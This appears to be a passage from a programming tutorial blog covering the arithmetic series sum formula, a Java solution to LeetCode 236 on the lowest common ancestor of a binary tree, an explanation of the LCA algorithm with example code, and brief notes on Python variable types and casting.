• It allows for quick calculation of the sum of large numbers of terms.
• It can be applied to general forms of arithmetic sequences.

Disadvantages

• This formula is only applicable to arithmetic sequences and cannot be used for other types of sequences.
• The number of terms must be known to use the formula.

Java Example

public class ArithmeticSeriesSum {
    public static void main(String[] args) {
				int start = 1;
        int end = 10;
        int commonDifference = 1;
        int sum = (start + end) * ((end - start) / commonDifference + 1) / 2;
        System.out.println("Sum from 1 to 10: " + sum);
    }
}

LeetCode 236. Lowest Common Ancestor of a Binary Tree Java Solution

Problem

Lowest Common Ancestor of a Binary Tree - LeetCode

Problem Solution

• This problem asks whether you know about the Lowest Common Ancestor (LCA) and if you can implement it.
• In this problem, the preprocessing step for LCA cannot be used because we cannot modify the tree nodes.
• Therefore, the usual LCA algorithm involves comparing from the two target nodes and going up to their common parent. However, in this problem, we traverse from the root down the tree, comparing each node with nodes p and q to find the LCA.

Reference

What is LCA(Lowest Common Ancestor)

Github Link

https://github.com/eunhanlee/LeetCode_236_LowestCommonAncestorofaBinaryTree_Solution.git

Time Complexity: O(n), Space Complexity: O(n)

n = depth of the binary tree

public class Solution {
    /**
     * Find the lowest common ancestor of two nodes in a binary tree.
     *
     * @param root The root node of the binary tree.
     * @param p    The first node.
     * @param q    The second node.
     * @return The lowest common ancestor of nodes p and q.
     */
    public static TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
        // If the root is null or either p or q is the root, return the root.
        if (root == null || root == p || root == q) {
            return root;
        }

        // Recursively find the lowest common ancestor in the left and right subtrees.
        TreeNode leftLCA = lowestCommonAncestor(root.left, p, q);
        TreeNode rightLCA = lowestCommonAncestor(root.right, p, q);

        // If both leftLCA and rightLCA are not null, it means p and q are in different subtrees, and the current root is the lowest common ancestor.
        if (leftLCA != null && rightLCA != null) {
            return root;
        }
        // If leftLCA is not null, it means p and q are in the left subtree, and the lowest common ancestor is in the left subtree.
        else if (leftLCA != null) {
            return leftLCA;
        }
        // If rightLCA is not null, it means p and q are in the right subtree, and the lowest common ancestor is in the right subtree.
        else {
            return rightLCA;
        }
    }
}

Code Sequence Example

Input: root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 4
Output: 5
Explanation: The LCA of nodes 5 and 4 is 5, since a node can be a descendant of itself according to the LCA definition.

What is LCA(Lowest Common Ancestor)

Definition

Lowest Common Ancestor, LCA.

LCA is an algorithm or concept used in tree structures to find the closest common ancestor of two nodes.

Example

In the above binary tree, the LCA of 4 and 6 is 1.

LCA(4, 6) = 1

Purpose

The purpose of the LCA is to efficiently find the closest common ancestor of two nodes in a tree structure.

Cases to consider using LCA

You should consider using the LCA algorithm in the following cases:

• When you need to calculate the distance between two nodes in a tree structure.
• When you need to find nodes belonging to a subtree rooted at a specific node.
• When calculating the shortest path in computer networks.
• When solving collision detection and other problems in game development.

Cases not suitable for using LCA

The LCA algorithm is limited to tree structures and cannot be used in other data structures. Additionally, if the problem doesn't involve finding the common ancestor of two nodes, there is no need to use LCA.

Advantages

• It can efficiently find the LCA of two nodes with a reasonable time complexity.
• After preprocessing, query operations can be performed quickly.

Disadvantages

• The LCA algorithm is restricted to tree structures and cannot be applied to other data structures.

Implementation Steps

1. Compute the parent and depth information for each node in the binary tree.
2. This step is called preprocessing.
3. Move towards the parents of the two nodes for which you want to find the LCA.
4. While moving towards the parents, check for the first intersection of the nodes.
5. The first intersection is the LCA.

Example

import java.util.ArrayList;
import java.util.List;

class Node {
    int value;
    Node parent;
    List<Node> children;

    Node(int value) {
        this.value = value;
        this.children = new ArrayList<>();
    }
}

public class LCAExample {

    private static void preprocess(Node node, Node parent, int depth) {
        node.parent = parent;

        for (Node child : node.children) {
            preprocess(child, node, depth + 1);
        }
    }

    private static Node findLCA(Node node1, Node node2) {
        int depth1 = getDepth(node1);
        int depth2 = getDepth(node2);

        while (depth1 > depth2) {
            node1 = node1.parent;
            depth1--;
        }

        while (depth2 > depth1) {
            node2 = node2.parent;
            depth2--;
        }

        while (node1 != node2) {
            node1 = node1.parent;
            node2 = node2.parent;
        }

        return node1;
    }

    private static int getDepth(Node node) {
        int depth = 0;
        while (node.parent != null) {
            node = node.parent;
            depth++;
        }
        return depth;
    }

    public static void main(String[] args) {
        Node root = new Node(1);
        Node node2 = new Node(2);
        Node node3 = new Node(3);
        Node node4 = new Node(4);
        Node node5 = new Node(5);
        Node node6 = new Node(6);
        Node node7 = new Node(7);

        root.children.add(node2);
        root.children.add(node3);
        node2.children.add(node4);
        node2.children.add(node5);
        node3.children.add(node6);
        node3.children.add(node7);

        preprocess(root, null, 0);

        Node lcaNode = findLCA(node4, node5);
        System.out.println("LCA: " + lcaNode.value); // 2

        lcaNode = findLCA(node4, node6);
        System.out.println("LCA: " + lcaNode.value); // 1

        lcaNode = findLCA(node3, node7);
        System.out.println("LCA: " + lcaNode.value); // 3
    }
}

What is Python Variables

what is Variable

symbol represent some number or String that may change.

data types

scalar and non-scalar both object

scalar

• int : integer
• float : real number
• bool : True or False
• none : Null

non-scalar

• String : data values that are made up of ordered sequences of characters, such as "hello world"

How to check data type

print(type(Variable))

addtional infomation

Case-Sensitive

a and A are different variable

Casting

x = str(4)    # "4"
y = int(4)    # 4
z = float(4) # 4.0